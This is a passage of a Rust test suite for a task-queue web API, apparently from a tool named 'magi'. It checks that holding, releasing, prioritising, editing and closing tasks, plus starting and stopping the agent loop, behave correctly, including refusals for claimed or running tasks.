17536 let cli = cli.resumption.unwrap();
17537 assert_eq!(web.instruction, cli.instruction);
17538 assert_eq!(web.answers_through, cli.answers_through);
17539 assert_eq!(web.runs_through, cli.runs_through);
17540 assert_eq!(web.cleared_reason, cli.cleared_reason);
17541 assert_eq!(
17542 released.json()["attempts"],
17543 0,
17544 "release is a real second chance, not an instant re-hold"
17545 );
17546 assert_eq!(
17547 queue.get(&task.id).expect("reload").status,
17548 TaskStatus::Queued,
17549 "the change is on disk, not only in the reply"
17550 );
17551 assert!(
17552 !f.home
17553 .path()
17554 .join("queue")
17555 .join(format!("{}.lock", task.id))
17556 .exists(),
17557 "the claim the mutation took is released again"
17558 );
17559 }
17560
17561 #[tokio::test]
17562 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17563 let f = Fixture::start().await;
17564 let queue = f.queue();
17565 let mut task = Task::new(
17566 "busy".to_owned(),
17567 "Running right now".to_owned(),
17568 PathBuf::from("/repo/magi"),
17569 Source::Human,
17570 );
17571 queue.put(&mut task).expect("file the task");
17572 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17573
17574 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17575
17576 assert_eq!(res.status, 409);
17577 assert_eq!(
17578 queue.get(&task.id).expect("reload").status,
17579 TaskStatus::Queued,
17580 "the refused hold changed nothing"
17581 );
17582 }
17583
17584 #[tokio::test]
17585 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17586 let f = Fixture::start().await;
17587 let queue = f.queue();
17588 let mut task = Task::new(
17589 "waiting on the migration".to_owned(),
17590 "Do the thing".to_owned(),
17591 PathBuf::from("/repo/magi"),
17592 Source::Human,
17593 );
17594 queue.put(&mut task).expect("file the task");
17595
17596 let held = f
17597 .post(
17598 &format!("/api/queue/{}/hold", task.id),
17599 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17600 )
17601 .await;
17602 assert_eq!(held.status, 200, "{}", held.body);
17603 assert_eq!(held.json()["status_str"], "held");
17604 assert_eq!(
17605 held.json()["hold_reason"],
17606 "waiting for 20260101-000000-aaaa to land"
17607 );
17608
17609 let listed = f.get("/api/queue").await.json();
17610 assert_eq!(
17611 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17612 "the card reads the reason off the same list route"
17613 );
17614
17615 let mut plain = Task::new(
17618 "no reason given".to_owned(),
17619 "Do another thing".to_owned(),
17620 PathBuf::from("/repo/magi"),
17621 Source::Human,
17622 );
17623 queue.put(&mut plain).expect("file the task");
17624 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17625 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17626 assert!(held_plain.json()["hold_reason"].is_null());
17627
17628 let released = f
17629 .post(&format!("/api/queue/{}/release", task.id), None)
17630 .await;
17631 assert_eq!(released.status, 200);
17632 assert!(
17633 released.json()["hold_reason"].is_null(),
17634 "a release must clear the reason so the next hold does not inherit it"
17635 );
17636 }
17637
17638 #[test]
17639 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17640 for urgent in [true, false] {
17641 let body: UrgentBody =
17642 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17643 assert_eq!(body.urgent, urgent);
17644 }
17645 for input in [
17646 r#"{}"#,
17647 r#"{"urgent":null}"#,
17648 r#"{"urgent":"true"}"#,
17649 r#"{"urgent":1}"#,
17650 r#"{"urgent":true,"extra":false}"#,
17651 ] {
17652 assert!(
17653 serde_json::from_str::<UrgentBody>(input).is_err(),
17654 "{input}"
17655 );
17656 }
17657 }
17658
17659 #[tokio::test]
17660 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17661 let home = TempDir::new().unwrap();
17662 let q = Queue::at(home.path().join("queue"));
17663 let ui = Arc::new(Ui::new(
17664 q.clone(),
17665 Questions::at(home.path().join("questions")),
17666 Talks::at(home.path().join("talks")),
17667 home.path().join("runs"),
17668 home.path().into(),
17669 home.path().into(),
17670 ));
17671 let mut task = Task::new(
17672 "urgent handler".into(),
17673 "keep".into(),
17674 home.path().into(),
17675 Source::Human,
17676 );
17677 for status in [TaskStatus::Queued, TaskStatus::Held] {
17678 task.status = status;
17679 q.put(&mut task).unwrap();
17680 for urgent in [true, true, false, false] {
17681 let saved = queue_urgent(
17682 State(Arc::clone(&ui)),
17683 Path(task.short().into()),
17684 Ok(Json(UrgentBody { urgent })),
17685 )
17686 .await
17687 .unwrap();
17688 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17689 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17690 }
17691 }
17692 task.status = TaskStatus::Queued;
17693 q.put(&mut task).unwrap();
17694 let claim = q.claim(&task.id).unwrap();
17695 let error = queue_urgent(
17696 State(Arc::clone(&ui)),
17697 Path(task.id.clone()),
17698 Ok(Json(UrgentBody { urgent: true })),
17699 )
17700 .await
17701 .unwrap_err();
17702 assert_eq!(error.status, StatusCode::CONFLICT);
17703 assert!(error.message.contains("released"));
17704 drop(claim);
17705 for status in [
17706 TaskStatus::Running,
17707 TaskStatus::Done,
17708 TaskStatus::Failed,
17709 TaskStatus::Blocked,
17710 TaskStatus::Parked,
17711 ] {
17712 task.status = status;
17713 q.put(&mut task).unwrap();
17714 let error = queue_urgent(
17715 State(Arc::clone(&ui)),
17716 Path(task.id.clone()),
17717 Ok(Json(UrgentBody { urgent: false })),
17718 )
17719 .await
17720 .unwrap_err();
17721 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17722 assert!(error.message.contains(status.as_str()));
17723 }
17724 }
17725
17726 #[tokio::test]
17727 async fn urgent_api_updates_preserves_and_validates_tasks() {
17728 let f = Fixture::start().await;
17729 let q = f.queue();
17730 let mut t = Task::new(
17731 "urgent API".into(),
17732 "unchanged".into(),
17733 PathBuf::from("/repo/magi"),
17734 Source::Human,
17735 );
17736 t.attempts = 2;
17737 t.priority = 9;
17738 t.interrupt = true;
17739 t.hold_reason = Some("waiting for approval".into());
17740 for status in [TaskStatus::Queued, TaskStatus::Held] {
17741 t.status = status;
17742 q.put(&mut t).unwrap();
17743 for urgent in [true, true, false, false] {
17744 let response = f
17745 .post(
17746 &format!("/api/queue/{}/urgent", t.short()),
17747 Some(&format!("{{\"urgent\":{urgent}}}")),
17748 )
17749 .await;
17750 assert_eq!(response.status, 200, "{}", response.body);
17751 assert_eq!(response.json()["urgent"], urgent);
17752 let saved = q.get(&t.id).unwrap();
17753 let mut before = serde_json::to_value(&t).unwrap();
17754 let mut after = serde_json::to_value(saved).unwrap();
17755 before["urgent"] = urgent.into();
17756 before.as_object_mut().unwrap().remove("updated_at");
17757 after.as_object_mut().unwrap().remove("updated_at");
17758 assert_eq!(after, before);
17759 }
17760 }
17761 let route = format!("/api/queue/{}/urgent", t.id);
17762 for body in [
17763 r#"{}"#,
17764 r#"{"urgent":null}"#,
17765 r#"{"urgent":"true"}"#,
17766 r#"{"urgent":1}"#,
17767 r#"{"urgent":true,"extra":false}"#,
17768 "{",
17769 ] {
17770 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17771 }
17772 t.status = TaskStatus::Queued;
17773 q.put(&mut t).unwrap();
17774 let claim = q.claim(&t.id).unwrap();
17775 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17776 assert_eq!(response.status, 409, "{}", response.body);
17777 assert!(!q.get(&t.id).unwrap().urgent);
17778 drop(claim);
17779 for status in [
17780 TaskStatus::Running,
17781 TaskStatus::Done,
17782 TaskStatus::Failed,
17783 TaskStatus::Blocked,
17784 TaskStatus::Parked,
17785 ] {
17786 t.status = status;
17787 q.put(&mut t).unwrap();
17788 for urgent in [true, false] {
17789 let response = f
17790 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17791 .await;
17792 assert_eq!(response.status, 400, "{}", response.body);
17793 assert!(response.body.contains(status.as_str()));
17794 assert!(response.body.contains("queued or held"));
17795 assert!(!q.get(&t.id).unwrap().urgent);
17796 }
17797 }
17798 assert_eq!(
17799 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17800 .await
17801 .status,
17802 404
17803 );
17804 }
17805
17806 #[tokio::test]
17807 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17808 let f = Fixture::start().await;
17809 let queue = f.queue();
17810 let mut older = Task::new(
17811 "filed first".to_owned(),
17812 "x".to_owned(),
17813 PathBuf::from("/repo/magi"),
17814 Source::Human,
17815 );
17816 older.id = "20260101-000001-aaaa".to_owned();
17817 let mut newer = Task::new(
17818 "filed second".to_owned(),
17819 "x".to_owned(),
17820 PathBuf::from("/repo/magi"),
17821 Source::Human,
17822 );
17823 newer.id = "20260101-000002-bbbb".to_owned();
17824 queue.put(&mut older).expect("file older");
17825 queue.put(&mut newer).expect("file newer");
17826
17827 let before = f.get("/api/queue").await.json();
17830 assert_eq!(before[0]["id"], newer.id);
17831 assert_eq!(before[1]["id"], older.id);
17832
17833 let raised = f
17837 .post(
17838 &format!("/api/queue/{}/priority", older.id),
17839 Some(r#"{"priority":10}"#),
17840 )
17841 .await;
17842 assert_eq!(raised.status, 200, "{}", raised.body);
17843 assert_eq!(raised.json()["priority"], 10);
17844
17845 let after = f.get("/api/queue").await.json();
17846 let names: Vec<&str> = after
17847 .as_array()
17848 .unwrap()
17849 .iter()
17850 .map(|t| t["id"].as_str().unwrap())
17851 .collect();
17852 assert_eq!(names[0], older.id, "the raised task now sorts first");
17856 }
17857
17858 #[tokio::test]
17859 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17860 let dir = TempDir::new().unwrap();
17861 let q = Queue::at(dir.path().join("queue"));
17862 let ui = Arc::new(Ui::new(
17863 q.clone(),
17864 Questions::at(dir.path().join("questions")),
17865 Talks::at(dir.path().join("talks")),
17866 dir.path().join("runs"),
17867 dir.path().to_path_buf(),
17868 dir.path().to_path_buf(),
17869 ));
17870 let mut t = Task::new(
17871 "budget".into(),
17872 "keep".into(),
17873 dir.path().into(),
17874 Source::Human,
17875 );
17876 t.attempts = 2;
17877 t.runs.push("prior-run".into());
17878 t.hold_manual(Some("waiting".into()));
17879 q.put(&mut t).unwrap();
17880 let change = |value| {
17881 queue_attempt_limit(
17882 State(ui.clone()),
17883 Path(t.id.clone()),
17884 Ok(Json(AttemptLimitBody {
17885 attempt_limit: value,
17886 })),
17887 )
17888 };
17889 for value in [
17890 serde_json::json!(3),
17891 serde_json::Value::Null,
17892 serde_json::json!(1),
17893 ] {
17894 let response = change(value.clone()).await.unwrap();
17895 assert_eq!(
17896 serde_json::to_value(response.0).unwrap()["attempt_limit"],
17897 value
17898 );
17899 let saved = q.get(&t.id).unwrap();
17900 assert_eq!(
17901 serde_json::to_value(&saved).unwrap()["attempt_limit"],
17902 value
17903 );
17904 assert_eq!(saved.status, TaskStatus::Held);
17905 assert_eq!(saved.attempts, t.attempts);
17906 assert_eq!(saved.runs, t.runs);
17907 assert_eq!(saved.hold_reason, t.hold_reason);
17908 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17909 .await
17910 .unwrap()
17911 .0;
17912 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17913 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17914 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17915 assert_eq!(outcome.max_attempts, detail.max_attempts);
17916 }
17917 for value in [
17918 serde_json::json!(0),
17919 serde_json::json!(-1),
17920 serde_json::json!(1.5),
17921 serde_json::json!("3"),
17922 serde_json::json!(true),
17923 ] {
17924 assert_eq!(
17925 change(value).await.err().unwrap().status,
17926 StatusCode::BAD_REQUEST
17927 );
17928 }
17929 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17930 let claim = q.claim(&t.id).unwrap();
17931 assert_eq!(
17932 change(serde_json::json!(4)).await.err().unwrap().status,
17933 StatusCode::CONFLICT
17934 );
17935 drop(claim);
17936 for status in [
17937 TaskStatus::Running,
17938 TaskStatus::Done,
17939 TaskStatus::Failed,
17940 TaskStatus::Blocked,
17941 TaskStatus::Parked,
17942 ] {
17943 let mut stored = q.get(&t.id).unwrap();
17944 stored.status = status;
17945 q.put(&mut stored).unwrap();
17946 assert_eq!(
17947 change(serde_json::json!(4)).await.err().unwrap().status,
17948 StatusCode::BAD_REQUEST
17949 );
17950 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17951 }
17952 let mut stored = q.get(&t.id).unwrap();
17953 stored.status = TaskStatus::Queued;
17954 q.put(&mut stored).unwrap();
17955 let _ = change(serde_json::Value::Null).await.unwrap();
17956 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17957 }
17958
17959 #[tokio::test]
17960 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17961 let dir = TempDir::new().unwrap();
17962 let repo = dir.path().join("repo");
17963 std::fs::create_dir(&repo).unwrap();
17964 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17965 let q = Queue::at(dir.path().join("queue"));
17966 let ui = Arc::new(Ui::new(
17967 q.clone(),
17968 Questions::at(dir.path().join("questions")),
17969 Talks::at(dir.path().join("talks")),
17970 dir.path().join("runs"),
17971 dir.path().to_path_buf(),
17972 repo.clone(),
17973 ));
17974 let mut t = Task::new(
17975 "seats".into(),
17976 "keep instruction".into(),
17977 repo,
17978 Source::Human,
17979 );
17980 t.runs.push("prior-run".into());
17981 t.hold_manual(Some("waiting".into()));
17982 q.put(&mut t).unwrap();
17983 let change = |count| {
17984 queue_implementers(
17985 State(ui.clone()),
17986 Path(t.id.clone()),
17987 Ok(Json(ImplementersBody {
17988 implementers: count,
17989 })),
17990 )
17991 };
17992 for count in [2, 1, 2] {
17993 let response = change(count).await.unwrap();
17994 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17995 let saved = q.get(&t.id).unwrap();
17996 assert_eq!(saved.implementers(), Some(usize::from(count)));
17997 assert_eq!(saved.runs, t.runs);
17998 assert_eq!(saved.instruction, t.instruction);
17999 }
18000 for count in [0, 4] {
18001 assert_eq!(
18002 change(count).await.err().unwrap().status,
18003 StatusCode::BAD_REQUEST
18004 );
18005 }
18006 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18007 let claim = q.claim(&t.id).unwrap();
18008 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18009 drop(claim);
18010 for status in [
18011 TaskStatus::Running,
18012 TaskStatus::Done,
18013 TaskStatus::Failed,
18014 TaskStatus::Blocked,
18015 TaskStatus::Parked,
18016 ] {
18017 let mut stored = q.get(&t.id).unwrap();
18018 stored.status = status;
18019 q.put(&mut stored).unwrap();
18020 assert_eq!(
18021 change(1).await.err().unwrap().status,
18022 StatusCode::BAD_REQUEST
18023 );
18024 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18025 }
18026 }
18027
18028 #[tokio::test]
18029 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18030 let f = Fixture::start().await;
18031 let queue = f.queue();
18032 let mut task = Task::new(
18033 "in flight".to_owned(),
18034 "x".to_owned(),
18035 PathBuf::from("/repo/magi"),
18036 Source::Human,
18037 );
18038 task.start("20260902-140502-bbbb".to_owned());
18039 queue.put(&mut task).expect("file the task");
18040
18041 let res = f
18042 .post(
18043 &format!("/api/queue/{}/priority", task.id),
18044 Some(r#"{"priority":9}"#),
18045 )
18046 .await;
18047 assert_eq!(res.status, 400, "{}", res.body);
18048 assert!(
18049 res.json()["error"]
18050 .as_str()
18051 .is_some_and(|e| e.contains("running")),
18052 "{}",
18053 res.body
18054 );
18055 assert_eq!(
18056 queue.get(&task.id).expect("reload").priority,
18057 0,
18058 "the refused write must not partially apply"
18059 );
18060 }
18061
18062 #[tokio::test]
18063 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18064 let f = Fixture::start().await;
18065 let queue = f.queue();
18066 let mut task = Task::new(
18067 "old title".to_owned(),
18068 "old instruction".to_owned(),
18069 PathBuf::from("/repo/magi"),
18070 Source::Agent {
18071 run: "20260101-000000-beef".to_owned(),
18072 node: "implement".to_owned(),
18073 },
18074 );
18075 task.runs.push("20260101-000000-beef".to_owned());
18076 queue.put(&mut task).expect("file the task");
18077 let created_at = task.created_at;
18078
18079 let edited = f
18080 .post(
18081 &format!("/api/queue/{}/edit", task.id),
18082 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18083 )
18084 .await;
18085 assert_eq!(edited.status, 200, "{}", edited.body);
18086 let body = edited.json();
18087 assert_eq!(body["title"], "new title");
18088 assert_eq!(body["instruction"], "new instruction");
18089 assert_eq!(body["id"], task.id, "editing must not mint a new id");
18090 assert_eq!(body["created_at"], created_at.to_string());
18091 assert_eq!(
18092 body["source"]["kind"], "agent",
18093 "editing a task an agent filed must not turn it human: {body}"
18094 );
18095 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18096
18097 let reloaded = queue.get(&task.id).expect("reload");
18098 assert_eq!(reloaded.title, "new title");
18099 assert_eq!(reloaded.instruction, "new instruction");
18100 }
18101
18102 #[tokio::test]
18103 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18104 let tmp = TempDir::new().expect("tempdir");
18107 let repo = tmp.path().join("repo");
18108 std::fs::create_dir_all(&repo).expect("repo dir");
18109 let judge = MOCK_AGENT_TOML.replace(
18110 "printf ok",
18111 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18112 );
18113 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18114 let f = Fixture::with_repo(repo.clone()).await;
18115 let queue = f.queue();
18116 let mut owner = Task::new(
18117 "owner".to_owned(),
18118 "review it".to_owned(),
18119 repo.clone(),
18120 Source::Human,
18121 );
18122 owner.review_branch = Some("magi/ab12/A".to_owned());
18123 queue.put(&mut owner).expect("file the owner");
18124 let mut task = Task::new(
18125 "draft".to_owned(),
18126 "old".to_owned(),
18127 repo.clone(),
18128 Source::Human,
18129 );
18130 queue.put(&mut task).expect("file the draft");
18131 let url = format!("/api/queue/{}/edit", task.id);
18132
18133 let refused = f
18134 .post(
18135 &url,
18136 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18137 )
18138 .await;
18139 assert_eq!(refused.status, 409, "{}", refused.body);
18140 let msg = refused.json()["error"]
18141 .as_str()
18142 .unwrap_or_default()
18143 .to_owned();
18144 assert!(
18145 msg.contains("magi/ab12/A") && msg.contains("force"),
18146 "{msg}"
18147 );
18148 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18149
18150 let forced = f
18151 .post(
18152 &url,
18153 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18154 )
18155 .await;
18156 assert_eq!(forced.status, 200, "{}", forced.body);
18157 }
18158
18159 #[tokio::test]
18160 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18161 let f = Fixture::start().await;
18162 let queue = f.queue();
18163 let mut task = Task::new(
18164 "in flight".to_owned(),
18165 "do not touch".to_owned(),
18166 PathBuf::from("/repo/magi"),
18167 Source::Human,
18168 );
18169 task.start("20260902-140502-bbbb".to_owned());
18170 queue.put(&mut task).expect("file the task");
18171
18172 let res = f
18173 .post(
18174 &format!("/api/queue/{}/edit", task.id),
18175 Some(r#"{"title":"x","instruction":"y"}"#),
18176 )
18177 .await;
18178 assert_eq!(res.status, 400, "{}", res.body);
18179 assert!(
18180 res.json()["error"]
18181 .as_str()
18182 .is_some_and(|e| e.contains("running")),
18183 "{}",
18184 res.body
18185 );
18186 assert_eq!(
18187 queue.get(&task.id).expect("reload").instruction,
18188 "do not touch",
18189 "the refused edit must not change the file"
18190 );
18191 }
18192
18193 #[tokio::test]
18194 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18195 let f = Fixture::start().await;
18196 let queue = f.queue();
18197 let mut task = Task::new(
18198 "busy".to_owned(),
18199 "Running right now".to_owned(),
18200 PathBuf::from("/repo/magi"),
18201 Source::Human,
18202 );
18203 queue.put(&mut task).expect("file the task");
18204 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18205
18206 let priority = f
18207 .post(
18208 &format!("/api/queue/{}/priority", task.id),
18209 Some(r#"{"priority":9}"#),
18210 )
18211 .await;
18212 assert_eq!(priority.status, 409, "{}", priority.body);
18213
18214 let edit = f
18215 .post(
18216 &format!("/api/queue/{}/edit", task.id),
18217 Some(r#"{"title":"x","instruction":"y"}"#),
18218 )
18219 .await;
18220 assert_eq!(edit.status, 409, "{}", edit.body);
18221 }
18222
18223 #[tokio::test]
18224 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18225 let f = Fixture::start().await;
18226 let queue = f.queue();
18227 let mut task = Task::new(
18228 "shipped by hand".to_owned(),
18229 "merged outside the loop".to_owned(),
18230 PathBuf::from("/repo/magi"),
18231 Source::Agent {
18232 run: "20260101-000000-b455".to_owned(),
18233 node: "implement".to_owned(),
18234 },
18235 );
18236 task.runs.push("20260101-000000-b455".to_owned());
18237 task.runs.push("20260101-000000-9af4".to_owned());
18238 queue.put(&mut task).expect("file the task");
18239 let created_at = task.created_at;
18240
18241 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18242 assert_eq!(done.status, 200, "{}", done.body);
18243 assert_eq!(done.json()["status_str"], "done");
18244
18245 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18246 assert_eq!(
18247 reloaded.runs,
18248 ["20260101-000000-b455", "20260101-000000-9af4"]
18249 );
18250 assert_eq!(
18251 reloaded.source,
18252 Source::Agent {
18253 run: "20260101-000000-b455".to_owned(),
18254 node: "implement".to_owned(),
18255 }
18256 );
18257 assert_eq!(reloaded.created_at, created_at);
18258 }
18259
18260 #[tokio::test]
18261 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18262 let f = Fixture::start().await;
18267 let queue = f.queue();
18268 let mut task = Task::new(
18269 "landed while held".to_owned(),
18270 "x".to_owned(),
18271 PathBuf::from("/repo/magi"),
18272 Source::Human,
18273 );
18274 task.hold_manual(Some("waiting on 3ed9".to_owned()));
18275 queue.put(&mut task).expect("file the held task");
18276
18277 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18278 assert_eq!(done.status, 200, "{}", done.body);
18279 assert_eq!(done.json()["status_str"], "done");
18280 assert!(
18281 done.json()["hold_reason"].is_null(),
18282 "a done task cannot still be waiting on something: {}",
18283 done.body
18284 );
18285 }
18286
18287 #[tokio::test]
18288 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18289 let f = Fixture::start().await;
18294 let queue = f.queue();
18295 let runs = f.runs();
18296 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18297 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18301
18302 let mut task = Task::new(
18303 "landed by hand".to_owned(),
18304 "x".to_owned(),
18305 PathBuf::from("/repo/magi"),
18306 Source::Human,
18307 );
18308 task.runs.push("20260101-000000-doa1".to_owned());
18309 task.runs.push("20260101-000000-doa2".to_owned());
18310 queue.put(&mut task).expect("file the task");
18311
18312 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18313 assert_eq!(done.status, 200, "{}", done.body);
18314
18315 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18316 .expect("run still on disk under this fixture's own home");
18317 assert_eq!(
18318 reloaded_run.status,
18319 RunStatus::Superseded,
18320 "closing the task by hand must relabel the earlier blocked attempt exactly \
18321 like the loop's own settle path does"
18322 );
18323 }
18324
18325 #[tokio::test]
18326 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18327 let f = Fixture::start().await;
18332 let queue = f.queue();
18333 let runs = f.runs();
18334 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18335 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18336
18337 let mut task = Task::new(
18338 "closed with nothing actually landed".to_owned(),
18339 "x".to_owned(),
18340 PathBuf::from("/repo/magi"),
18341 Source::Human,
18342 );
18343 task.runs.push("20260101-000000-dob1".to_owned());
18344 task.runs.push("20260101-000000-dob2".to_owned());
18345 queue.put(&mut task).expect("file the task");
18346
18347 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18348 assert_eq!(done.status, 200, "{}", done.body);
18349
18350 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18351 .expect("run still on disk under this fixture's own home");
18352 assert_eq!(
18353 reloaded_run.status,
18354 RunStatus::Blocked,
18355 "the last recorded attempt never landed, so the earlier one must not be \
18356 relabelled as superseded by it"
18357 );
18358 }
18359
18360 #[tokio::test]
18361 async fn unknown_ids_are_json_not_found_on_both_stores() {
18362 let f = Fixture::start().await;
18363
18364 let run = f.get("/api/runs/nosuchrun").await;
18365 let task = f.post("/api/queue/nosuchtask/hold", None).await;
18366
18367 assert_eq!(run.status, 404);
18368 assert_eq!(task.status, 404);
18369 assert!(
18370 run.json()["error"]
18371 .as_str()
18372 .is_some_and(|e| e.contains("run")),
18373 "the error names what was not found: {}",
18374 run.body
18375 );
18376 assert!(
18377 task.json()["error"]
18378 .as_str()
18379 .is_some_and(|e| e.contains("task")),
18380 "the error names what was not found: {}",
18381 task.body
18382 );
18383 }
18384
18385 #[tokio::test]
18386 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18387 let f = Fixture::start().await;
18388
18389 let missing = f.get("/api/health").await.json();
18390 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18391
18392 write_daemon(
18393 f.home.path(),
18394 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18395 );
18396 let stale = f.get("/api/health").await.json();
18397 assert_eq!(
18398 stale["daemon"]["running"], false,
18399 "a minute without a heartbeat is a dead daemon, not a busy one"
18400 );
18401 assert!(
18402 stale["daemon"]["stale_for_secs"]
18403 .as_i64()
18404 .is_some_and(|s| s >= 55),
18405 "staleness is reported so the UI can say how long: {stale}"
18406 );
18407
18408 write_daemon(f.home.path(), Timestamp::now());
18409 let fresh = f.get("/api/health").await.json();
18410 assert_eq!(fresh["daemon"]["running"], true);
18411 assert_eq!(fresh["daemon"]["idle"], false);
18412 assert_eq!(fresh["daemon"]["pid"], 4242);
18413 assert_eq!(fresh["daemon"]["completed"], 7);
18414 assert_eq!(
18415 fresh["daemon"]["current"][0]["task"],
18416 "20260902-140501-aaaa"
18417 );
18418 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18419 }
18420
18421 #[tokio::test]
18422 async fn the_loop_is_not_running_until_something_starts_it() {
18423 let f = Fixture::start().await;
18424
18425 let view = f.get("/api/loop").await.json();
18426 assert_eq!(view["running"], false);
18427 assert_eq!(
18428 view["owned"], false,
18429 "nobody owns a loop that does not exist: {view}"
18430 );
18431 assert_eq!(view["stopping"], false);
18432 assert_eq!(view["last_error"], Value::Null);
18433 assert_eq!(view["daemon"]["running"], false);
18434 assert_eq!(
18435 view["repo"], "/repo/magi",
18436 "the repository a start would use, named before it is started"
18437 );
18438 }
18439
18440 #[tokio::test]
18441 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18442 let f = Fixture::start().await;
18443
18444 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18445 assert_eq!(res.status, 200, "{}", res.body);
18446 let view = res.json();
18447 assert_eq!(view["running"], true);
18448 assert_eq!(
18449 view["owned"], true,
18450 "the loop the UI started is the UI's own to stop: {view}"
18451 );
18452 assert_eq!(
18453 view["merge"],
18454 Value::Null,
18455 "no override was given, so each repository's own config decides"
18456 );
18457
18458 let health = f.get("/api/health").await.json();
18462 assert_eq!(health["loop"]["running"], true, "{health}");
18463 assert_eq!(health["loop"]["owned"], true, "{health}");
18464
18465 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18466 }
18467
18468 #[tokio::test]
18469 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18470 let f = Fixture::start().await;
18471 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18472 assert_eq!(first.status, 200, "{}", first.body);
18473
18474 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18475 assert_eq!(
18476 again.status, 409,
18477 "two loops on one queue race for the same claims: {}",
18478 again.body
18479 );
18480 assert!(
18481 again.json()["error"]
18482 .as_str()
18483 .is_some_and(|e| e.contains("already running the loop")),
18484 "the refusal has to say why: {}",
18485 again.body
18486 );
18487 assert_eq!(
18488 f.get("/api/loop").await.json()["running"],
18489 true,
18490 "and the loop that was already running is untouched by it"
18491 );
18492
18493 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18494 }
18495
18496 #[tokio::test]
18497 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18498 let f = Fixture::start().await;
18499 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18500
18501 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18502 assert_eq!(
18503 res.status, 200,
18504 "the answer must not wait for the loop: a run in flight is tens of \
18505 minutes and the operator is holding a phone: {}",
18506 res.body
18507 );
18508
18509 let view = settled(&f, |v| v["running"] == false).await;
18510 assert_eq!(view["owned"], false);
18511 assert_eq!(
18512 view["stopping"], false,
18513 "a loop that has stopped is not still stopping: {view}"
18514 );
18515 assert_eq!(
18516 view["last_error"],
18517 Value::Null,
18518 "a loop that was asked to stop did not fail: {view}"
18519 );
18520
18521 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18524 assert_eq!(twice.status, 200, "{}", twice.body);
18525 }
18526
18527 #[tokio::test]
18528 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18529 let f = Fixture::start().await;
18530 write_daemon(f.home.path(), Timestamp::now());
18533
